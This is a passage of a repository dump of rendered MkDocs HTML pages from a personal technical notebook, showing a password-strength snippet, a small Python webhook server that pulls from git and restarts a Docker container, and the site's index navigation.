class=\"k\">if</span> <span class=\"ow\">not</span> <span class=\"n\">text</span><span class=\"p\">:</span>\n        <span class=\"k\">return</span> <span class=\"mi\">0</span>\n    <span class=\"k\">return</span> <span class=\"n\">PasswordStats</span><span class=\"p\">(</span><span class=\"n\">text</span><span class=\"p\">)</span><span class=\"o\">.</span><span class=\"n\">strength</span><span class=\"p\">()</span>\n</code></pre></div>\n\n<p>参考：</p>\n<ul>\n<li>https://pypi.org/project/password-strength/</li>\n<li>https://github.com/first20hours/google-10000-english/</li>\n</ul>\n<hr />\n<h2 id=\"http-servergit-pull\">HTTP Server自动git pull<a class=\"headerlink\" href=\"#http-servergit-pull\" title=\"Permanent link\">&para;</a></h2>\n<p>用在github hook自动重启应用</p>\n<div class=\"codehilite\"><pre><span></span><code><span class=\"kn\">import</span> <span class=\"nn\">http.server</span> <span class=\"k\">as</span> <span class=\"nn\">BaseHTTPServer</span>\n<span class=\"kn\">import</span> <span class=\"nn\">os</span><span class=\"o\">,</span> <span class=\"nn\">time</span>\n<span class=\"n\">TARGET</span><span class=\"o\">=</span><span class=\"p\">[</span><span class=\"s2\">&quot;/app&quot;</span><span class=\"p\">]</span>\n<span class=\"n\">lasttime</span> <span class=\"o\">=</span> <span class=\"mi\">0</span>\n<span class=\"k\">class</span> <span class=\"nc\">APIHandler</span><span class=\"p\">(</span><span class=\"n\">BaseHTTPServer</span><span class=\"o\">.</span><span class=\"n\">BaseHTTPRequestHandler</span><span class=\"p\">):</span>\n    <span class=\"k\">def</span> <span class=\"nf\">do_POST</span><span class=\"p\">(</span><span class=\"bp\">self</span><span class=\"p\">):</span>\n        <span class=\"k\">global</span> <span class=\"n\">lasttime</span>\n        <span class=\"k\">if</span> <span class=\"n\">time</span><span class=\"o\">.</span><span class=\"n\">time</span><span class=\"p\">()</span> <span class=\"o\">-</span> <span class=\"n\">lasttime</span> <span class=\"o\">&gt;</span> <span class=\"mi\">60</span><span class=\"p\">:</span>\n            <span class=\"n\">lasttime</span> <span class=\"o\">=</span> <span class=\"n\">time</span><span class=\"o\">.</span><span class=\"n\">time</span><span class=\"p\">()</span>\n            <span class=\"k\">for</span> <span class=\"n\">path</span> <span class=\"ow\">in</span> <span class=\"n\">TARGET</span><span class=\"p\">:</span>\n                <span class=\"n\">os</span><span class=\"o\">.</span><span class=\"n\">chdir</span><span class=\"p\">(</span><span class=\"n\">path</span><span class=\"p\">)</span>\n                <span class=\"n\">os</span><span class=\"o\">.</span><span class=\"n\">system</span><span class=\"p\">(</span><span class=\"s2\">&quot;git pull &amp;&amp; docker restart app&quot;</span><span class=\"p\">)</span>\n            <span class=\"n\">data</span> <span class=\"o\">=</span> <span class=\"sa\">b</span><span class=\"s2\">&quot;ok&quot;</span>\n        <span class=\"k\">else</span><span class=\"p\">:</span>\n            <span class=\"n\">data</span> <span class=\"o\">=</span> <span class=\"sa\">b</span><span class=\"s2\">&quot;419&quot;</span>\n        <span class=\"bp\">self</span><span class=\"o\">.</span><span class=\"n\">wfile</span><span class=\"o\">.</span><span class=\"n\">write</span><span class=\"p\">((</span><span class=\"s2\">&quot;HTTP/1.1 200 OK</span><span class=\"se\">\\r\\n</span><span class=\"s2\">Content-Type: text/html</span><span class=\"se\">\\r\\n</span><span class=\"s2\">Content-Length: </span><span class=\"si\">%d</span><span class=\"se\">\\r\\n\\r\\n</span><span class=\"s2\">&quot;</span><span class=\"o\">%</span><span class=\"nb\">len</span><span class=\"p\">(</span><span class=\"n\">data</span><span class=\"p\">))</span><span class=\"o\">.</span><span class=\"n\">encode</span><span class=\"p\">(</span><span class=\"s2\">&quot;ascii&quot;</span><span class=\"p\">))</span>\n        <span class=\"bp\">self</span><span class=\"o\">.</span><span class=\"n\">wfile</span><span class=\"o\">.</span><span class=\"n\">write</span><span class=\"p\">(</span><span class=\"n\">data</span><span class=\"p\">)</span>\n\n<span class=\"k\">if</span> <span class=\"vm\">__name__</span> <span class=\"o\">==</span> <span class=\"s2\">&quot;__main__&quot;</span><span class=\"p\">:</span>\n    <span class=\"n\">port</span> <span class=\"o\">=</span> <span class=\"mi\">2228</span>\n    <span class=\"n\">httpd</span> <span class=\"o\">=</span> <span class=\"n\">BaseHTTPServer</span><span class=\"o\">.</span><span class=\"n\">HTTPServer</span><span class=\"p\">((</span><span class=\"s1\">&#39;0.0.0.0&#39;</span><span class=\"p\">,</span> <span class=\"n\">port</span><span class=\"p\">),</span> <span class=\"n\">APIHandler</span><span class=\"p\">)</span>\n    <span class=\"n\">httpd</span><span class=\"o\">.</span><span class=\"n\">serve_forever</span><span class=\"p\">()</span>\n</code></pre></div>\n\n\n\n\n\n                \n              </article>\n            </div>\n          \n          \n        </div>\n        \n      </main>\n      \n        <footer class=\"md-footer\">\n  \n  <div class=\"md-footer-meta md-typeset\">\n    <div class=\"md-footer-meta__inner md-grid\">\n      <div class=\"md-copyright\">\n  \n    <div class=\"md-copyright__highlight\">\n      <a href=https://beian.miit.gov.cn/>浙ICP备15043819号-2</a>&nbsp;&nbsp;<a target=_blank href=http://www.beian.gov.cn/portal/registerSystemInfo?recordcode=33010602007826><img src=\"/assets/images/beian.png\" height=14px>浙公网安备 33010602007826号</p></a>\n    </div>\n  \n  \n    Made with\n    <a href=\"https://squidfunk.github.io/mkdocs-material/\" target=\"_blank\" rel=\"noopener\">\n      Material for MkDocs\n    </a>\n  \n</div>\n      \n    </div>\n  </div>\n</footer>\n      \n    </div>\n    <div class=\"md-dialog\" data-md-component=\"dialog\">\n      <div class=\"md-dialog__inner md-typeset\"></div>\n    </div>\n    \n    <script id=\"__config\" type=\"application/json\">{\"base\": \"..\", \"features\": [], \"search\": \"../assets/javascripts/workers/search.208ed371.min.js\", \"translations\": {\"clipboard.copied\": \"Copied to clipboard\", \"clipboard.copy\": \"Copy to clipboard\", \"search.result.more.one\": \"1 more on this page\", \"search.result.more.other\": \"# more on this page\", \"search.result.none\": \"No matching documents\", \"search.result.one\": \"1 matching document\", \"search.result.other\": \"# matching documents\", \"search.result.placeholder\": \"Type to start searching\", \"search.result.term.missing\": \"Missing\", \"select.version\": \"Select version\"}}</script>\n    \n    \n      <script src=\"../assets/javascripts/bundle.efa0ade1.min.js\"></script>\n      \n        <script src=\"../assets/js/instantclick.min.js\"></script>\n      \n        <script src=\"../assets/js/index.js\"></script>\n      \n    \n  </body>\n</html>"
  },
  {
    "path": "docs/index.html",
    "content": "\n<!doctype html>\n<html lang=\"en\" class=\"no-js\">\n  <head>\n    \n      <meta charset=\"utf-8\">\n      <meta name=\"viewport\" content=\"width=device-width,initial-scale=1\">\n      \n        <meta name=\"description\" content=\"我的技术笔记本~\">\n      \n      \n        <meta name=\"author\" content=\"chenyuan\">\n      \n      \n      \n      \n        <link rel=\"next\" href=\"Python/\">\n      \n      <link rel=\"icon\" href=\"assets/images/favicon.png\">\n      <meta name=\"generator\" content=\"mkdocs-1.4.2, mkdocs-material-9.1.3\">\n    \n    \n      \n        <title>notebook</title>\n      \n    \n    \n      <link rel=\"stylesheet\" href=\"assets/stylesheets/main.c4a75a56.min.css\">\n      \n        \n        <link rel=\"stylesheet\" href=\"assets/stylesheets/palette.a0c5b2b5.min.css\">\n      \n      \n\n    \n    \n    \n      \n        \n        \n        <link rel=\"preconnect\" href=\"https://fonts.gstatic.com\" crossorigin>\n        <link rel=\"stylesheet\" href=\"/assets/css/fonts.css?family=Roboto:300,300i,400,400i,700,700i%7CRoboto+Mono:400,400i,700,700i&display=fallback\">\n        <style>:root{--md-text-font:\"Roboto\";--md-code-font:\"Roboto Mono\"}</style>\n      \n    \n    \n    <script>__md_scope=new URL(\".\",location),__md_hash=e=>[...e].reduce((e,_)=>(e<<5)-e+_.charCodeAt(0),0),__md_get=(e,_=localStorage,t=__md_scope)=>JSON.parse(_.getItem(t.pathname+\".\"+e)),__md_set=(e,_,t=localStorage,a=__md_scope)=>{try{t.setItem(a.pathname+\".\"+e,JSON.stringify(_))}catch(e){}}</script>\n    \n      \n\n    \n    \n    \n  </head>\n  \n  \n    \n    \n    \n    \n    \n    <body dir=\"ltr\" data-md-color-scheme=\"default\" data-md-color-primary=\"\" data-md-color-accent=\"\">\n  \n    \n    \n    <input class=\"md-toggle\" data-md-toggle=\"drawer\" type=\"checkbox\" id=\"__drawer\" autocomplete=\"off\">\n    <input class=\"md-toggle\" data-md-toggle=\"search\" type=\"checkbox\" id=\"__search\" autocomplete=\"off\">\n    <label class=\"md-overlay\" for=\"__drawer\"></label>\n    <div data-md-component=\"skip\">\n      \n        \n        <a href=\"#zjuchenyuans-notebook\" class=\"md-skip\">\n          Skip to content\n        </a>\n      \n    </div>\n    <div data-md-component=\"announce\">\n      \n    </div>\n    \n    \n      \n\n  \n\n<header class=\"md-header md-header--shadow\" data-md-component=\"header\">\n  <nav class=\"md-header__inner md-grid\" aria-label=\"Header\">\n    <a href=\".\" title=\"notebook\" class=\"md-header__button md-logo\" aria-label=\"notebook\" data-md-component=\"logo\">\n      \n  \n  <svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 24 24\"><path d=\"M12 8a3 3 0 0 0 3-3 3 3 0 0 0-3-3 3 3 0 0 0-3 3 3 3 0 0 0 3 3m0 3.54C9.64 9.35 6.5 8 3 8v11c3.5 0 6.64 1.35 9 3.54 2.36-2.19 5.5-3.54 9-3.54V8c-3.5 0-6.64 1.35-9 3.54Z\"/></svg>\n\n    </a>\n    <label class=\"md-header__button md-icon\" for=\"__drawer\">\n      <svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 24 24\"><path d=\"M3 6h18v2H3V6m0 5h18v2H3v-2m0 5h18v2H3v-2Z\"/></svg>\n    </label>\n    <div class=\"md-header__title\" data-md-component=\"header-title\">\n      <div class=\"md-header__ellipsis\">\n        <div class=\"md-header__topic\">\n          <span class=\"md-ellipsis\">\n            notebook\n          </span>\n        </div>\n        <div class=\"md-header__topic\" data-md-component=\"header-topic\">\n          <span class=\"md-ellipsis\">\n            \n              Home\n            \n          </span>\n        </div>\n      </div>\n    </div>\n    \n    \n    \n      <label class=\"md-header__button md-icon\" for=\"__search\">\n        <svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 24 24\"><path d=\"M9.5 3A6.5 6.5 0 0 1 16 9.5c0 1.61-.59 3.09-1.56 4.23l.27.27h.79l5 5-1.5 1.5-5-5v-.79l-.27-.27A6.516 6.516 0 0 1 9.5 16 6.5 6.5 0 0 1 3 9.5 6.5 6.5 0 0 1 9.5 3m0 2C7 5 5 7 5 9.5S7 14 9.5 14 14 12 14 9.5 12 5 9.5 5Z\"/></svg>\n      </label>\n      <div class=\"md-search\" data-md-component=\"search\" role=\"dialog\">\n  <label class=\"md-search__overlay\" for=\"__search\"></label>\n  <div class=\"md-search__inner\" role=\"search\">\n    <form class=\"md-search__form\" name=\"search\">\n      <input type=\"text\" class=\"md-search__input\" name=\"query\" aria-label=\"Search\" placeholder=\"Search\" autocapitalize=\"off\" autocorrect=\"off\" autocomplete=\"off\" spellcheck=\"false\" data-md-component=\"search-query\" required>\n      <label class=\"md-search__icon md-icon\" for=\"__search\">\n        <svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 24 24\"><path d=\"M9.5 3A6.5 6.5 0 0 1 16 9.5c0 1.61-.59 3.09-1.56 4.23l.27.27h.79l5 5-1.5 1.5-5-5v-.79l-.27-.27A6.516 6.516 0 0 1 9.5 16 6.5 6.5 0 0 1 3 9.5 6.5 6.5 0 0 1 9.5 3m0 2C7 5 5 7 5 9.5S7 14 9.5 14 14 12 14 9.5 12 5 9.5 5Z\"/></svg>\n        <svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 24 24\"><path d=\"M20 11v2H8l5.5 5.5-1.42 1.42L4.16 12l7.92-7.92L13.5 5.5 8 11h12Z\"/></svg>\n      </label>\n      <nav class=\"md-search__options\" aria-label=\"Search\">\n        \n        <button type=\"reset\" class=\"md-search__icon md-icon\" title=\"Clear\" aria-label=\"Clear\" tabindex=\"-1\">\n          <svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 24 24\"><path d=\"M19 6.41 17.59 5 12 10.59 6.41 5 5 6.41 10.59 12 5 17.59 6.41 19 12 13.41 17.59 19 19 17.59 13.41 12 19 6.41Z\"/></svg>\n        </button>\n      </nav>\n      \n    </form>\n    <div class=\"md-search__output\">\n      <div class=\"md-search__scrollwrap\" data-md-scrollfix>\n        <div class=\"md-search-result\" data-md-component=\"search-result\">\n          <div class=\"md-search-result__meta\">\n            Initializing search\n          </div>\n          <ol class=\"md-search-result__list\" role=\"presentation\"></ol>\n        </div>\n      </div>\n    </div>\n  </div>\n</div>\n    \n    \n      <div class=\"md-header__source\">\n        <a href=\"https://github.com/zjuchenyuan/notebook/\" title=\"Go to repository\" class=\"md-source\" data-md-component=\"source\">\n  <div class=\"md-source__icon md-icon\">\n    \n    <svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><!--! Font Awesome Free 6.3.0 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2023 Fonticons, Inc.--><path d=\"M439.55 236.05 244 40.45a28.87 28.87 0 0 0-40.81 0l-40.66 40.63 51.52 51.52c27.06-9.14 52.68 16.77 43.39 43.68l49.66 49.66c34.23-11.8 61.18 31 35.47 56.69-26.49 26.49-70.21-2.87-56-37.34L240.22 199v121.85c25.3 12.54 22.26 41.85 9.08 55a34.34 34.34 0 0 1-48.55 0c-17.57-17.6-11.07-46.91 11.25-56v-123c-20.8-8.51-24.6-30.74-18.64-45L142.57 101 8.45 235.14a28.86 28.86 0 0 0 0 40.81l195.61 195.6a28.86 28.86 0 0 0 40.8 0l194.69-194.69a28.86 28.86 0 0 0 0-40.81z\"/></svg>\n  </div>\n  <div class=\"md-source__repository\">\n    GitHub\n  </div>\n</a>\n      </div>\n    \n  </nav>\n  \n</header>\n    \n    <div class=\"md-container\" data-md-component=\"container\">\n      \n      \n        \n          \n        \n      \n      <main class=\"md-main\" data-md-component=\"main\">\n        <div class=\"md-main__inner md-grid\">\n          \n            \n              \n              <div class=\"md-sidebar md-sidebar--primary\" data-md-component=\"sidebar\" data-md-type=\"navigation\" >\n                <div class=\"md-sidebar__scrollwrap\">\n                  <div class=\"md-sidebar__inner\">\n                    \n\n\n<nav class=\"md-nav md-nav--primary\" aria-label=\"Navigation\" data-md-level=\"0\">\n  <label class=\"md-nav__title\" for=\"__drawer\">\n    <a href=\".\" title=\"notebook\" class=\"md-nav__button md-logo\" aria-label=\"notebook\" data-md-component=\"logo\">\n      \n  \n  <svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 24 24\"><path d=\"M12 8a3 3 0 0 0 3-3 3 3 0 0 0-3-3 3 3 0 0 0-3 3 3 3 0 0 0 3 3m0 3.54C9.64 9.35 6.5 8 3 8v11c3.5 0 6.64 1.35 9 3.54 2.36-2.19 5.5-3.54 9-3.54V8c-3.5 0-6.64 1.35-9 3.54Z\"/></svg>\n\n    </a>\n    notebook\n  </label>\n  \n    <div class=\"md-nav__source\">\n      <a href=\"https://github.com/zjuchenyuan/notebook/\" title=\"Go to repository\" class=\"md-source\" data-md-component=\"source\">\n  <div class=\"md-source__icon md-icon\">\n    \n    <svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><!--! Font Awesome Free 6.3.0 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2023 Fonticons, Inc.--><path d=\"M439.55 236.05 244 40.45a28.87 28.87 0 0 0-40.81 0l-40.66 40.63 51.52 51.52c27.06-9.14 52.68 16.77 43.39 43.68l49.66 49.66c34.23-11.8 61.18 31 35.47 56.69-26.49 26.49-70.21-2.87-56-37.34L240.22 199v121.85c25.3 12.54 22.26 41.85 9.08 55a34.34 34.34 0 0 1-48.55 0c-17.57-17.6-11.07-46.91 11.25-56v-123c-20.8-8.51-24.6-30.74-18.64-45L142.57 101 8.45 235.14a28.86 28.86 0 0 0 0 40.81l195.61 195.6a28.86 28.86 0 0 0 40.8 0l194.69-194.69a28.86 28.86 0 0 0 0-40.81z\"/></svg>\n  </div>\n  <div class=\"md-source__repository\">\n    GitHub\n  </div>\n</a>\n    </div>\n  \n  <ul class=\"md-nav__list\" data-md-scrollfix>\n    \n      \n      \n      \n\n  \n  \n    \n  \n  \n    <li class=\"md-nav__item md-nav__item--active\">\n      \n      <input class=\"md-nav__toggle md-toggle\" type=\"checkbox\" id=\"__toc\">\n      \n      \n        \n      \n      \n        <label class=\"md-nav__link md-nav__link--active\" for=\"__toc\">\n          Home\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <a href=\".\" class=\"md-nav__link md-nav__link--active\">\n        Home\n      </a>\n      \n        \n\n<nav class=\"md-nav md-nav--secondary\" aria-label=\"Table of contents\">\n  \n  \n  \n    \n  \n  \n    <label class=\"md-nav__title\" for=\"__toc\">\n      <span class=\"md-nav__icon md-icon\"></span>\n      Table of contents\n    </label>\n    <ul class=\"md-nav__list\" data-md-component=\"toc\" data-md-scrollfix>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#python\" class=\"md-nav__link\">\n    Python\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#python_1\" class=\"md-nav__link\">\n    Python程序设计课程\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#gist-python\" class=\"md-nav__link\">\n    gist Python一些常用的代码片段\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#bash\" class=\"md-nav__link\">\n    BASH\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#bat\" class=\"md-nav__link\">\n    BAT 批处理\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#bitcoin\" class=\"md-nav__link\">\n    Bitcoin\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#c\" class=\"md-nav__link\">\n    C 语言\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#cdn\" class=\"md-nav__link\">\n    CDN\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#curl\" class=\"md-nav__link\">\n    cURL\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#developer\" class=\"md-nav__link\">\n    Developer\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#docker\" class=\"md-nav__link\">\n    Docker\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#eth\" class=\"md-nav__link\">\n    ETH\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#favorites\" class=\"md-nav__link\">\n    Favorites\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#flask\" class=\"md-nav__link\">\n    Flask\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#fuzzing\" class=\"md-nav__link\">\n    Fuzzing\n  </a>\n  \n    <nav class=\"md-nav\" aria-label=\"Fuzzing\">\n      <ul class=\"md-nav__list\">\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#dataflow-sanitizer\" class=\"md-nav__link\">\n    DataFlow Sanitizer\n  </a>\n  \n</li>\n        \n      </ul>\n    </nav>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#git\" class=\"md-nav__link\">\n    Git\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#github-project-recommendation\" class=\"md-nav__link\">\n    Github Project Recommendation\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#java\" class=\"md-nav__link\">\n    Java\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#javascript\" class=\"md-nav__link\">\n    JavaScript\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#jekyll\" class=\"md-nav__link\">\n    Jekyll\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#linux-setup\" class=\"md-nav__link\">\n    Linux-setup\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#linux-ssh\" class=\"md-nav__link\">\n    Linux-SSH\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#linux-cli\" class=\"md-nav__link\">\n    Linux-cli\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#linux-backup\" class=\"md-nav__link\">\n    Linux-backup\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#mysql\" class=\"md-nav__link\">\n    MySQL\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#nginx\" class=\"md-nav__link\">\n    Nginx\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#php\" class=\"md-nav__link\">\n    PHP\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#rabbitmq\" class=\"md-nav__link\">\n    RabbitMQ\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#ubuntu\" class=\"md-nav__link\">\n    Ubuntu桌面版\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#virtualbox\" class=\"md-nav__link\">\n    VirtualBox\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#winsoftware\" class=\"md-nav__link\">\n    WinSoftware\n  </a>\n  \n</li>\n      \n    </ul>\n  \n</nav>\n      \n    </li>\n  \n\n    \n      \n      \n      \n\n  \n  \n  \n    \n    <li class=\"md-nav__item md-nav__item--nested\">\n      \n      \n      \n      \n      <input class=\"md-nav__toggle md-toggle \" type=\"checkbox\" id=\"__nav_2\" >\n      \n      \n      \n        <label class=\"md-nav__link\" for=\"__nav_2\" id=\"__nav_2_label\" tabindex=\"0\">\n          Python\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <nav class=\"md-nav\" data-md-level=\"1\" aria-labelledby=\"__nav_2_label\" aria-expanded=\"false\">\n        <label class=\"md-nav__title\" for=\"__nav_2\">\n          <span class=\"md-nav__icon md-icon\"></span>\n          Python\n        </label>\n        <ul class=\"md-nav__list\" data-md-scrollfix>\n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"Python/\" class=\"md-nav__link\">\n        Python\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"gist/\" class=\"md-nav__link\">\n        Gist Python一些常用代码片段\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"PythonCourse/\" class=\"md-nav__link\">\n        Course Python程序设计\n      </a>\n    </li>\n  \n\n            \n          \n        </ul>\n      </nav>\n    </li>\n  \n\n    \n      \n      \n      \n\n  \n  \n  \n    \n    <li class=\"md-nav__item md-nav__item--nested\">\n      \n      \n      \n      \n      <input class=\"md-nav__toggle md-toggle \" type=\"checkbox\" id=\"__nav_3\" >\n      \n      \n      \n        <label class=\"md-nav__link\" for=\"__nav_3\" id=\"__nav_3_label\" tabindex=\"0\">\n          Programming Languages\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <nav class=\"md-nav\" data-md-level=\"1\" aria-labelledby=\"__nav_3_label\" aria-expanded=\"false\">\n        <label class=\"md-nav__title\" for=\"__nav_3\">\n          <span class=\"md-nav__icon md-icon\"></span>\n          Programming Languages\n        </label>\n        <ul class=\"md-nav__list\" data-md-scrollfix>\n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"BASH/\" class=\"md-nav__link\">\n        BASH\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"BAT/\" class=\"md-nav__link\">\n        BAT批处理\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"C/\" class=\"md-nav__link\">\n        C语言\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    \n    <li class=\"md-nav__item md-nav__item--nested\">\n      \n      \n      \n      \n      <input class=\"md-nav__toggle md-toggle \" type=\"checkbox\" id=\"__nav_3_4\" >\n      \n      \n      \n        <label class=\"md-nav__link\" for=\"__nav_3_4\" id=\"__nav_3_4_label\" tabindex=\"0\">\n          Java\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <nav class=\"md-nav\" data-md-level=\"2\" aria-labelledby=\"__nav_3_4_label\" aria-expanded=\"false\">\n        <label class=\"md-nav__title\" for=\"__nav_3_4\">\n          <span class=\"md-nav__icon md-icon\"></span>\n          Java\n        </label>\n        <ul class=\"md-nav__list\" data-md-scrollfix>\n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"Java/\" class=\"md-nav__link\">\n        Java\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"S2-045/\" class=\"md-nav__link\">\n        S2-045\n      </a>\n    </li>\n  \n\n            \n          \n        </ul>\n      </nav>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"JavaScript/\" class=\"md-nav__link\">\n        JavaScript\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"PHP/\" class=\"md-nav__link\">\n        PHP\n      </a>\n    </li>\n  \n\n            \n          \n        </ul>\n      </nav>\n    </li>\n  \n\n    \n      \n      \n      \n\n  \n  \n  \n    \n    <li class=\"md-nav__item md-nav__item--nested\">\n      \n      \n      \n      \n      <input class=\"md-nav__toggle md-toggle \" type=\"checkbox\" id=\"__nav_4\" >\n      \n      \n      \n        <label class=\"md-nav__link\" for=\"__nav_4\" id=\"__nav_4_label\" tabindex=\"0\">\n          Web\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <nav class=\"md-nav\" data-md-level=\"1\" aria-labelledby=\"__nav_4_label\" aria-expanded=\"false\">\n        <label class=\"md-nav__title\" for=\"__nav_4\">\n          <span class=\"md-nav__icon md-icon\"></span>\n          Web\n        </label>\n        <ul class=\"md-nav__list\" data-md-scrollfix>\n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"CDN/\" class=\"md-nav__link\">\n        CDN\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"cURL/\" class=\"md-nav__link\">\n        cURL\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    \n    <li class=\"md-nav__item md-nav__item--nested\">\n      \n      \n      \n      \n      <input class=\"md-nav__toggle md-toggle \" type=\"checkbox\" id=\"__nav_4_3\" >\n      \n      \n      \n        <label class=\"md-nav__link\" for=\"__nav_4_3\" id=\"__nav_4_3_label\" tabindex=\"0\">\n          Favorites\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <nav class=\"md-nav\" data-md-level=\"2\" aria-labelledby=\"__nav_4_3_label\" aria-expanded=\"false\">\n        <label class=\"md-nav__title\" for=\"__nav_4_3\">\n          <span class=\"md-nav__icon md-icon\"></span>\n          Favorites\n        </label>\n        <ul class=\"md-nav__list\" data-md-scrollfix>\n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"Favorites/\" class=\"md-nav__link\">\n        Favorites\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"GithubProjectRecommendation/\" class=\"md-nav__link\">\n        Github Project Recommendation\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"Links/\" class=\"md-nav__link\">\n        更多链接\n      </a>\n    </li>\n  \n\n            \n          \n        </ul>\n      </nav>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"Flask/\" class=\"md-nav__link\">\n        Flask\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"MySQL/\" class=\"md-nav__link\">\n        MySQL\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"Nginx/\" class=\"md-nav__link\">\n        Nginx\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"RabbitMQ/\" class=\"md-nav__link\">\n        RabbitMQ\n      </a>\n    </li>\n  \n\n            \n          \n        </ul>\n      </nav>\n    </li>\n  \n\n    \n      \n      \n      \n\n  \n  \n  \n    \n    <li class=\"md-nav__item md-nav__item--nested\">\n      \n      \n      \n      \n      <input class=\"md-nav__toggle md-toggle \" type=\"checkbox\" id=\"__nav_5\" >\n      \n      \n      \n        <label class=\"md-nav__link\" for=\"__nav_5\" id=\"__nav_5_label\" tabindex=\"0\">\n          Development\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <nav class=\"md-nav\" data-md-level=\"1\" aria-labelledby=\"__nav_5_label\" aria-expanded=\"false\">\n        <label class=\"md-nav__title\" 